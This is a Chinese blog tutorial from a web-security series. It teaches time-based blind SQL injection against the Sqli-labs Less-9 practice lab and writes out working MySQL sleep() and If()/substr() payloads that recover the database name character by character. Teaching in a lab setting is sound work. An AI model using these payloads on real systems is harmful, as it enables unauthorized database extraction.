sql timestep 秒数后6位_SQL注入之时间型盲注

本文介绍了如何通过时间型盲注技术在Sqli-labs靶场的Less-9关卡中判断注入点及执行结果。通过利用MySQL的SLEEP函数,结合If条件判断,逐步推测数据库名称及其字符,展示了时间型盲注的基本思路和操作过程。
摘要由CSDN通过智能技术生成

本文是Web安全入门系列的第5篇文章

01

束手无策?

首先介绍一个新的靶场,名为Sqli-labs。Sqli-labs是一个印度小哥写的,比较全面的SQL注入练习靶场。一共有75个关卡,从易到难囊括了多种SQL注入场景,且网上有非常多的学习资料,推荐给想要深入学习SQL注入的小伙伴~

9b78925df210e4b00b49f617c2def989.png

部署好靶场后,首页会看到关卡导航,列出了每个关卡练习的注入类型,我们要用到的是Less-9:基于时间的盲注81974986cee105c9cae817238447fa96.png

Sqli-labs关卡都是以id为输入参数的,在定位注入点时,尝试输入id=1,id=1',id=1"......无论怎么输入,返回结果都是"You are in ......."。

e0ad03fb123d2c7fa773106f70d4861d.png

因此得出结论:

1. 无法确定参数的传入类型。整型,加单引号,加双引号返回结果都一样

2. 不会回显注入语句执行结果,故无法使用UNION注入

3. 不会显示报错信息,故无法使用报错注入

4. 符合上一篇介绍的盲注的特征,但不属于布尔型盲注

看上去路都堵死了,难道就束手无策了么?

 1473296138c56afec5453ebaf0a7b8d5.png   a8ef05d2450dc388024f1b17f8d2e2e1.png   318b663249ee00d17785575e756f08d5.png

02

SLEEP(N)

上面的这种情况,怎么判断是否存在注入?注入的语句到底执行了没有?执行成功了还是失败了呢?这个时候,我们需要用到时间型盲注。

首先介绍MySQL的SLEEP(N)函数,通常情况下,执行SQL语句时是立即执行的。

0a8b88c858b02f71e23c0a5247d8d6f9.png

c3b23a8cb3fd1a791919fe1cba6f25df.png

加入SLEEP函数后可以强制停留2秒,但是只有指定条件的记录存在时才会停止指定的秒数。

568df741c9042f989fcadfceb9a96b72.png

如果查询一条并不存在的记录时使用SLEEP函数,也会立即执行。

996e6f037614af5c6bbea9419f8925db.png

看到这里,聪明的你是不是已经猜到了我们要用可爱的SLEEP做什么了呢?没错,我们就是要用SLEEP的这一特性来判断注入点,和注入语句的执行结果。

 bcacb44302900965105cd80de85db9a5.png c11aaac374e2a71baceac0789b14d86c.png

03

时间型盲注

回到Sqli lab的Less 9,首先判断注入的参数类型。

输入:id=1 and sleep(5) --+

用时:9ms,SLEEP函数没有被执行

c15324c0bf1074811687d0fb0fe1742a.png

输入:id=1" and sleep(5) --+

用时:8ms,SLEEP函数没有被执行

37e7d1be92e6a9cacb0ec2f801d3c141.png

输入:id=1' and sleep(5) --+

用时:5s,SLEEP函数被执行,注入参数id是字符型,传入时带单引号

c6a4f8094dc24462f7c4f886c4e36a95.png

这就是时间型盲注的思路,时间型盲注就是利用时间函数的延迟特性来判断注入语句是否执行成功。简称:你猜我睡着没有~       

04

时间型盲注实战

还记得我们上篇文章讲的盲注的终极奥义么?接下来,我们用终极奥义来拿更多的数据。

2cfc7ecedb8448403bd609f944232214.png

猜测数据库名称长度

输入:id=1' and If(length(database()) > 1,1,sleep(5))--+

用时:<1s,数据库名称长度>1

01a985db8940f1afada3afaee7c3dfeb.png

输入:id=1' and If(length(database()) > 2,1,sleep(5))--+

用时:<1s,数据库名称长度>2

输入:id=1' and If(length(database()) > 3,1,sleep(5))--+

用时:<1s,数据库名称长度>3

......

输入:id=1' and If(length(database()) >8 ,1,sleep(5))--+

用时:5s,数据库名称长度=8

b5ef53f5ad7493c2414a19a3641f54a0.png

最终得出结论:数据库名称长度等于8个字符。

猜测数据库名称的一个字符

输入:id=1' and If(ascii(substr(database(),1,1))=97,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),1,1))=98,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),1,1))=99,sleep(5),1)--+

用时:<1s

......

输入:id=1' and If(ascii(substr(database(),1,1))=115,sleep(5),1)--+

用时:5s

得出结论:数据库名称的第一个字符是小写字母s。

不理解97,98,99含义的同学,请参考ASCII编码对照表:http://ascii.911cha.com/

猜测数据库名称的二个字符

输入:id=1' and If(ascii(substr(database(),2,1))=97,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),2,1))=98,sleep(5),1)--+

用时:<1s

输入:id=1' and If(ascii(substr(database(),2,1))=99,sleep(5),1)--+

用时:<1s

......

输入:id=1' and If(ascii(substr(database(),2,1))=101,sleep(5),1)--+

用时:5s

得出结论:数据库名称的第一个字符是小写字母e。

......

依此类推,最后猜出数据库名称为:security。

本期内容就到这里了,篇幅有限,不用猜到手抽筋的神器留着下期介绍,期待下期再见~

d975be3d390c7f70306669b70ea32215.png

(部分图片源自网络,侵删)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值